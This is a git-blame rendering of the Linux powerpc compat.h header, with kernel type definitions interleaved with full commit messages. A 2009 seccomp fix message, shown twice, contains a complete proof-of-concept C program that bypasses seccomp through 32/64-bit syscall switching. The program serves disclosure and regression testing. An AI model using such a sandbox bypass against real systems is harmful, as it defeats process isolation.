License cleanup: add SPDX GPL-2.0 license identifier to files with no license
Many source files in the tree are missing licensing information, which
makes it harder for compliance tools to determine the correct license.
By default all files without license information are under the default
license of the kernel, which is GPL version 2.
Update the files which contain no license information with the 'GPL-2.0'
SPDX license identifier. The SPDX identifier is a legally binding
shorthand, which can be used instead of the full boiler plate text.
This patch is based on work done by Thomas Gleixner and Kate Stewart and
Philippe Ombredanne.
How this work was done:
Patches were generated and checked against linux-4.14-rc6 for a subset of
the use cases:
- file had no licensing information it it.
- file was a */uapi/* one with no licensing information in it,
- file was a */uapi/* one with existing licensing information,
Further patches will be generated in subsequent months to fix up cases
where non-standard license headers were used, and references to license
had to be inferred by heuristics based on keywords.
The analysis to determine which SPDX License Identifier to be applied to
a file was done in a spreadsheet of side by side results from of the
output of two independent scanners (ScanCode & Windriver) producing SPDX
tag:value files created by Philippe Ombredanne. Philippe prepared the
base worksheet, and did an initial spot review of a few 1000 files.
The 4.13 kernel was the starting point of the analysis with 60,537 files
assessed. Kate Stewart did a file by file comparison of the scanner
results in the spreadsheet to determine which SPDX license identifier(s)
to be applied to the file. She confirmed any determination that was not
immediately clear with lawyers working with the Linux Foundation.
Criteria used to select files for SPDX license identifier tagging was:
- Files considered eligible had to be source code files.
- Make and config files were included as candidates if they contained >5
lines of source
- File already had some variant of a license header in it (even if <5
lines).
All documentation files were explicitly excluded.
The following heuristics were used to determine which SPDX license
identifiers to apply.
- when both scanners couldn't find any license traces, file was
considered to have no license information in it, and the top level
COPYING file license applied.
For non */uapi/* files that summary was:
SPDX license identifier # files
---------------------------------------------------|-------
GPL-2.0 11139
and resulted in the first patch in this series.
If that file was a */uapi/* path one, it was "GPL-2.0 WITH
Linux-syscall-note" otherwise it was "GPL-2.0". Results of that was:
SPDX license identifier # files
---------------------------------------------------|-------
GPL-2.0 WITH Linux-syscall-note 930
and resulted in the second patch in this series.
- if a file had some form of licensing information in it, and was one
of the */uapi/* ones, it was denoted with the Linux-syscall-note if
any GPL family license was found in the file or had no licensing in
it (per prior point). Results summary:
SPDX license identifier # files
---------------------------------------------------|------
GPL-2.0 WITH Linux-syscall-note 270
GPL-2.0+ WITH Linux-syscall-note 169
((GPL-2.0 WITH Linux-syscall-note) OR BSD-2-Clause) 21
((GPL-2.0 WITH Linux-syscall-note) OR BSD-3-Clause) 17
LGPL-2.1+ WITH Linux-syscall-note 15
GPL-1.0+ WITH Linux-syscall-note 14
((GPL-2.0+ WITH Linux-syscall-note) OR BSD-3-Clause) 5
LGPL-2.0+ WITH Linux-syscall-note 4
LGPL-2.1 WITH Linux-syscall-note 3
((GPL-2.0 WITH Linux-syscall-note) OR MIT) 3
((GPL-2.0 WITH Linux-syscall-note) AND MIT) 1
and that resulted in the third patch in this series.
- when the two scanners agreed on the detected license(s), that became
the concluded license(s).
- when there was disagreement between the two scanners (one detected a
license but the other didn't, or they both detected different
licenses) a manual inspection of the file occurred.
- In most cases a manual inspection of the information in the file
resulted in a clear resolution of the license that should apply (and
which scanner probably needed to revisit its heuristics).
- When it was not immediately clear, the license identifier was
confirmed with lawyers working with the Linux Foundation.
- If there was any question as to the appropriate license identifier,
the file was flagged for further research and to be revisited later
in time.
In total, over 70 hours of logged manual review was done on the
spreadsheet to determine the SPDX license identifiers to apply to the
source files by Kate, Philippe, Thomas and, in some cases, confirmation
by lawyers working with the Linux Foundation.
Kate also obtained a third independent scan of the 4.13 code base from
FOSSology, and compared selected files where the other two scanners
disagreed against that SPDX file, to see if there was new insights. The
Windriver scanner is based on an older version of FOSSology in part, so
they are related.
Thomas did random spot checks in about 500 files from the spreadsheets
for the uapi headers and agreed with SPDX license identifier in the
files he inspected. For the non-uapi files Thomas did random spot checks
in about 15000 files.
In initial set of patches against 4.14-rc6, 3 files were found to have
copy/paste license identifier errors, and have been fixed to reflect the
correct identifier.
Additionally Philippe spent 10 hours this week doing a detailed manual
inspection and review of the 12,461 patched files from the initial patch
version early this week with:
- a full scancode scan run, collecting the matched texts, detected
license ids and scores
- reviewing anything where there was a license detected (about 500+
files) to ensure that the applied SPDX license was correct
- reviewing anything where there was no detection but the patch license
was not GPL-2.0 WITH Linux-syscall-note to ensure that the applied
SPDX license was correct
This produced a worksheet with 20 files needing minor correction. This
worksheet was then exported into 3 different .csv files for the
different types of files to be modified.
These .csv files were then reviewed by Greg. Thomas wrote a script to
parse the csv files and add the proper SPDX tag to the file, in the
format that the file expected. This script was further refined by Greg
based on the output to detect more types of files automatically and to
distinguish between header and source .c files (which need different
comment types.) Finally Greg ran the script using the .csv files to
generate the patches.
Reviewed-by: Kate Stewart <kstewart@linuxfoundation.org>
Reviewed-by: Philippe Ombredanne <pombredanne@nexb.com>
Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2017-11-01 22:07:57 +08:00
|
|
|
/* SPDX-License-Identifier: GPL-2.0 */
|
2005-11-09 10:38:01 +08:00
|
|
|
#ifndef _ASM_POWERPC_COMPAT_H
|
|
|
|
|
#define _ASM_POWERPC_COMPAT_H
|
2005-12-17 05:43:46 +08:00
|
|
|
#ifdef __KERNEL__
|
2005-04-17 06:20:36 +08:00
|
|
|
/*
|
|
|
|
|
* Architecture specific compatibility types
|
|
|
|
|
*/
|
|
|
|
|
#include <linux/types.h>
|
|
|
|
|
#include <linux/sched.h>
|
|
|
|
|
|
2018-04-19 04:01:26 +08:00
|
|
|
#include <asm-generic/compat.h>
|
|
|
|
|
|
2010-03-11 07:21:19 +08:00
|
|
|
#define COMPAT_USER_HZ 100
|
2014-03-06 13:10:11 +08:00
|
|
|
#ifdef __BIG_ENDIAN__
|
2010-03-11 07:21:19 +08:00
|
|
|
#define COMPAT_UTS_MACHINE "ppc\0\0"
|
2014-03-06 13:10:11 +08:00
|
|
|
#else
|
|
|
|
|
#define COMPAT_UTS_MACHINE "ppcle\0\0"
|
|
|
|
|
#endif
|
2005-04-17 06:20:36 +08:00
|
|
|
|
2005-09-07 06:16:40 +08:00
|
|
|
typedef u32 __compat_uid_t;
|
|
|
|
|
typedef u32 __compat_gid_t;
|
|
|
|
|
typedef u32 __compat_uid32_t;
|
|
|
|
|
typedef u32 __compat_gid32_t;
|
2005-04-17 06:20:36 +08:00
|
|
|
typedef u32 compat_mode_t;
|
|
|
|
|
typedef u32 compat_dev_t;
|
|
|
|
|
typedef s16 compat_nlink_t;
|
|
|
|
|
typedef u16 compat_ipc_pid_t;
|
|
|
|
|
typedef u32 compat_caddr_t;
|
|
|
|
|
typedef __kernel_fsid_t compat_fsid_t;
|
2007-07-16 14:41:11 +08:00
|
|
|
typedef s64 compat_s64;
|
|
|
|
|
typedef u64 compat_u64;
|
2005-04-17 06:20:36 +08:00
|
|
|
|
|
|
|
|
struct compat_stat {
|
|
|
|
|
compat_dev_t st_dev;
|
|
|
|
|
compat_ino_t st_ino;
|
|
|
|
|
compat_mode_t st_mode;
|
2005-11-09 10:38:01 +08:00
|
|
|
compat_nlink_t st_nlink;
|
2005-09-07 06:16:40 +08:00
|
|
|
__compat_uid32_t st_uid;
|
|
|
|
|
__compat_gid32_t st_gid;
|
2005-04-17 06:20:36 +08:00
|
|
|
compat_dev_t st_rdev;
|
|
|
|
|
compat_off_t st_size;
|
|
|
|
|
compat_off_t st_blksize;
|
|
|
|
|
compat_off_t st_blocks;
|
y2038: globally rename compat_time to old_time32
Christoph Hellwig suggested a slightly different path for handling
backwards compatibility with the 32-bit time_t based system calls:
Rather than simply reusing the compat_sys_* entry points on 32-bit
architectures unchanged, we get rid of those entry points and the
compat_time types by renaming them to something that makes more sense
on 32-bit architectures (which don't have a compat mode otherwise),
and then share the entry points under the new name with the 64-bit
architectures that use them for implementing the compatibility.
The following types and interfaces are renamed here, and moved
from linux/compat_time.h to linux/time32.h:
old new
--- ---
compat_time_t old_time32_t
struct compat_timeval struct old_timeval32
struct compat_timespec struct old_timespec32
struct compat_itimerspec struct old_itimerspec32
ns_to_compat_timeval() ns_to_old_timeval32()
get_compat_itimerspec64() get_old_itimerspec32()
put_compat_itimerspec64() put_old_itimerspec32()
compat_get_timespec64() get_old_timespec32()
compat_put_timespec64() put_old_timespec32()
As we already have aliases in place, this patch addresses only the
instances that are relevant to the system call interface in particular,
not those that occur in device drivers and other modules. Those
will get handled separately, while providing the 64-bit version
of the respective interfaces.
I'm not renaming the timex, rusage and itimerval structures, as we are
still debating what the new interface will look like, and whether we
will need a replacement at all.
This also doesn't change the names of the syscall entry points, which can
be done more easily when we actually switch over the 32-bit architectures
to use them, at that point we need to change COMPAT_SYSCALL_DEFINEx to
SYSCALL_DEFINEx with a new name, e.g. with a _time32 suffix.
Suggested-by: Christoph Hellwig <hch@infradead.org>
Link: https://lore.kernel.org/lkml/20180705222110.GA5698@infradead.org/
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
2018-07-13 18:52:28 +08:00
|
|
|
old_time32_t st_atime;
|
2005-04-17 06:20:36 +08:00
|
|
|
u32 st_atime_nsec;
|
y2038: globally rename compat_time to old_time32
Christoph Hellwig suggested a slightly different path for handling
backwards compatibility with the 32-bit time_t based system calls:
Rather than simply reusing the compat_sys_* entry points on 32-bit
architectures unchanged, we get rid of those entry points and the
compat_time types by renaming them to something that makes more sense
on 32-bit architectures (which don't have a compat mode otherwise),
and then share the entry points under the new name with the 64-bit
architectures that use them for implementing the compatibility.
The following types and interfaces are renamed here, and moved
from linux/compat_time.h to linux/time32.h:
old new
--- ---
compat_time_t old_time32_t
struct compat_timeval struct old_timeval32
struct compat_timespec struct old_timespec32
struct compat_itimerspec struct old_itimerspec32
ns_to_compat_timeval() ns_to_old_timeval32()
get_compat_itimerspec64() get_old_itimerspec32()
put_compat_itimerspec64() put_old_itimerspec32()
compat_get_timespec64() get_old_timespec32()
compat_put_timespec64() put_old_timespec32()
As we already have aliases in place, this patch addresses only the
instances that are relevant to the system call interface in particular,
not those that occur in device drivers and other modules. Those
will get handled separately, while providing the 64-bit version
of the respective interfaces.
I'm not renaming the timex, rusage and itimerval structures, as we are
still debating what the new interface will look like, and whether we
will need a replacement at all.
This also doesn't change the names of the syscall entry points, which can
be done more easily when we actually switch over the 32-bit architectures
to use them, at that point we need to change COMPAT_SYSCALL_DEFINEx to
SYSCALL_DEFINEx with a new name, e.g. with a _time32 suffix.
Suggested-by: Christoph Hellwig <hch@infradead.org>
Link: https://lore.kernel.org/lkml/20180705222110.GA5698@infradead.org/
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
2018-07-13 18:52:28 +08:00
|
|
|
old_time32_t st_mtime;
|
2005-04-17 06:20:36 +08:00
|
|
|
u32 st_mtime_nsec;
|
y2038: globally rename compat_time to old_time32
Christoph Hellwig suggested a slightly different path for handling
backwards compatibility with the 32-bit time_t based system calls:
Rather than simply reusing the compat_sys_* entry points on 32-bit
architectures unchanged, we get rid of those entry points and the
compat_time types by renaming them to something that makes more sense
on 32-bit architectures (which don't have a compat mode otherwise),
and then share the entry points under the new name with the 64-bit
architectures that use them for implementing the compatibility.
The following types and interfaces are renamed here, and moved
from linux/compat_time.h to linux/time32.h:
old new
--- ---
compat_time_t old_time32_t
struct compat_timeval struct old_timeval32
struct compat_timespec struct old_timespec32
struct compat_itimerspec struct old_itimerspec32
ns_to_compat_timeval() ns_to_old_timeval32()
get_compat_itimerspec64() get_old_itimerspec32()
put_compat_itimerspec64() put_old_itimerspec32()
compat_get_timespec64() get_old_timespec32()
compat_put_timespec64() put_old_timespec32()
As we already have aliases in place, this patch addresses only the
instances that are relevant to the system call interface in particular,
not those that occur in device drivers and other modules. Those
will get handled separately, while providing the 64-bit version
of the respective interfaces.
I'm not renaming the timex, rusage and itimerval structures, as we are
still debating what the new interface will look like, and whether we
will need a replacement at all.
This also doesn't change the names of the syscall entry points, which can
be done more easily when we actually switch over the 32-bit architectures
to use them, at that point we need to change COMPAT_SYSCALL_DEFINEx to
SYSCALL_DEFINEx with a new name, e.g. with a _time32 suffix.
Suggested-by: Christoph Hellwig <hch@infradead.org>
Link: https://lore.kernel.org/lkml/20180705222110.GA5698@infradead.org/
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
2018-07-13 18:52:28 +08:00
|
|
|
old_time32_t st_ctime;
|
2005-04-17 06:20:36 +08:00
|
|
|
u32 st_ctime_nsec;
|
|
|
|
|
u32 __unused4[2];
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
struct compat_flock {
|
|
|
|
|
short l_type;
|
|
|
|
|
short l_whence;
|
|
|
|
|
compat_off_t l_start;
|
|
|
|
|
compat_off_t l_len;
|
|
|
|
|
compat_pid_t l_pid;
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
#define F_GETLK64 12 /* using 'struct flock64' */
|
|
|
|
|
#define F_SETLK64 13
|
|
|
|
|
#define F_SETLKW64 14
|
|
|
|
|
|
|
|
|
|
struct compat_flock64 {
|
|
|
|
|
short l_type;
|
|
|
|
|
short l_whence;
|
|
|
|
|
compat_loff_t l_start;
|
|
|
|
|
compat_loff_t l_len;
|
|
|
|
|
compat_pid_t l_pid;
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
struct compat_statfs {
|
|
|
|
|
int f_type;
|
|
|
|
|
int f_bsize;
|
|
|
|
|
int f_blocks;
|
|
|
|
|
int f_bfree;
|
|
|
|
|
int f_bavail;
|
|
|
|
|
int f_files;
|
|
|
|
|
int f_ffree;
|
|
|
|
|
compat_fsid_t f_fsid;
|
|
|
|
|
int f_namelen; /* SunOS ignores this field. */
|
|
|
|
|
int f_frsize;
|
2011-10-18 04:40:02 +08:00
|
|
|
int f_flags;
|
|
|
|
|
int f_spare[4];
|
2005-04-17 06:20:36 +08:00
|
|
|
};
|
|
|
|
|
|
|
|
|
|
#define COMPAT_RLIM_INFINITY 0xffffffff
|
|
|
|
|
|
|
|
|
|
typedef u32 compat_old_sigset_t;
|
|
|
|
|
|
|
|
|
|
#define _COMPAT_NSIG 64
|
|
|
|
|
#define _COMPAT_NSIG_BPW 32
|
|
|
|
|
|
|
|
|
|
typedef u32 compat_sigset_word;
|
|
|
|
|
|
|
|
|
|
#define COMPAT_OFF_T_MAX 0x7fffffff
|
|
|
|
|
|
|
|
|
|
/*
|
|
|
|
|
* A pointer passed in from user mode. This should not
|
|
|
|
|
* be used for syscall parameters, just declare them
|
|
|
|
|
* as pointers because the syscall entry code will have
|
2008-02-03 22:32:51 +08:00
|
|
|
* appropriately converted them already.
|
2005-04-17 06:20:36 +08:00
|
|
|
*/
|
|
|
|
|
|
|
|
|
|
static inline void __user *compat_ptr(compat_uptr_t uptr)
|
|
|
|
|
{
|
|
|
|
|
return (void __user *)(unsigned long)uptr;
|
|
|
|
|
}
|
|
|
|
|
|
2006-02-01 18:28:09 +08:00
|
|
|
static inline compat_uptr_t ptr_to_compat(void __user *uptr)
|
|
|
|
|
{
|
|
|
|
|
return (u32)(unsigned long)uptr;
|
|
|
|
|
}
|
|
|
|
|
|
2010-09-08 07:16:18 +08:00
|
|
|
static inline void __user *arch_compat_alloc_user_space(long len)
|
2005-04-17 06:20:36 +08:00
|
|
|
{
|
|
|
|
|
struct pt_regs *regs = current->thread.regs;
|
|
|
|
|
unsigned long usp = regs->gpr[1];
|
|
|
|
|
|
|
|
|
|
/*
|
2011-03-31 09:57:33 +08:00
|
|
|
* We can't access below the stack pointer in the 32bit ABI and
|
2014-02-26 14:07:38 +08:00
|
|
|
* can access 288 bytes in the 64bit big-endian ABI,
|
|
|
|
|
* or 512 bytes with the new ELFv2 little-endian ABI.
|
2005-04-17 06:20:36 +08:00
|
|
|
*/
|
2010-08-27 11:49:11 +08:00
|
|
|
if (!is_32bit_task())
|
2014-02-26 14:07:38 +08:00
|
|
|
usp -= USER_REDZONE_SIZE;
|
2005-04-17 06:20:36 +08:00
|
|
|
|
|
|
|
|
return (void __user *) (usp - len);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/*
|
|
|
|
|
* ipc64_perm is actually 32/64bit clean but since the compat layer refers to
|
|
|
|
|
* it we may as well define it.
|
|
|
|
|
*/
|
|
|
|
|
struct compat_ipc64_perm {
|
|
|
|
|
compat_key_t key;
|
2005-09-07 06:16:40 +08:00
|
|
|
__compat_uid_t uid;
|
|
|
|
|
__compat_gid_t gid;
|
|
|
|
|
__compat_uid_t cuid;
|
|
|
|
|
__compat_gid_t cgid;
|
2005-04-17 06:20:36 +08:00
|
|
|
compat_mode_t mode;
|
|
|
|
|
unsigned int seq;
|
|
|
|
|
unsigned int __pad2;
|
|
|
|
|
unsigned long __unused1; /* yes they really are 64bit pads */
|
|
|
|
|
unsigned long __unused2;
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
struct compat_semid64_ds {
|
|
|
|
|
struct compat_ipc64_perm sem_perm;
|
2015-05-06 05:19:43 +08:00
|
|
|
unsigned int sem_otime_high;
|
|
|
|
|
unsigned int sem_otime;
|
|
|
|
|
unsigned int sem_ctime_high;
|
|
|
|
|
unsigned int sem_ctime;
|
2005-04-17 06:20:36 +08:00
|
|
|
compat_ulong_t sem_nsems;
|
|
|
|
|
compat_ulong_t __unused3;
|
|
|
|
|
compat_ulong_t __unused4;
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
struct compat_msqid64_ds {
|
|
|
|
|
struct compat_ipc64_perm msg_perm;
|
2015-05-06 05:19:43 +08:00
|
|
|
unsigned int msg_stime_high;
|
|
|
|
|
unsigned int msg_stime;
|
|
|
|
|
unsigned int msg_rtime_high;
|
|
|
|
|
unsigned int msg_rtime;
|
|
|
|
|
unsigned int msg_ctime_high;
|
|
|
|
|
unsigned int msg_ctime;
|
2005-04-17 06:20:36 +08:00
|
|
|
compat_ulong_t msg_cbytes;
|
|
|
|
|
compat_ulong_t msg_qnum;
|
|
|
|
|
compat_ulong_t msg_qbytes;
|
|
|
|
|
compat_pid_t msg_lspid;
|
|
|
|
|
compat_pid_t msg_lrpid;
|
|
|
|
|
compat_ulong_t __unused4;
|
|
|
|
|
compat_ulong_t __unused5;
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
struct compat_shmid64_ds {
|
|
|
|
|
struct compat_ipc64_perm shm_perm;
|
2015-05-06 05:19:43 +08:00
|
|
|
unsigned int shm_atime_high;
|
|
|
|
|
unsigned int shm_atime;
|
|
|
|
|
unsigned int shm_dtime_high;
|
|
|
|
|
unsigned int shm_dtime;
|
|
|
|
|
unsigned int shm_ctime_high;
|
|
|
|
|
unsigned int shm_ctime;
|
2005-04-17 06:20:36 +08:00
|
|
|
unsigned int __unused4;
|
|
|
|
|
compat_size_t shm_segsz;
|
|
|
|
|
compat_pid_t shm_cpid;
|
|
|
|
|
compat_pid_t shm_lpid;
|
|
|
|
|
compat_ulong_t shm_nattch;
|
|
|
|
|
compat_ulong_t __unused5;
|
|
|
|
|
compat_ulong_t __unused6;
|
|
|
|
|
};
|
|
|
|
|
|
x86-64: seccomp: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-28 15:25:54 +08:00
|
|
|
static inline int is_compat_task(void)
|
|
|
|
|
{
|
2010-08-27 11:49:11 +08:00
|
|
|
return is_32bit_task();
|
x86-64: seccomp: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-28 15:25:54 +08:00
|
|
|
}
|
|
|
|
|
|
2005-12-17 05:43:46 +08:00
|
|
|
#endif /* __KERNEL__ */
|
2005-11-09 10:38:01 +08:00
|
|
|
#endif /* _ASM_POWERPC_COMPAT_H */
|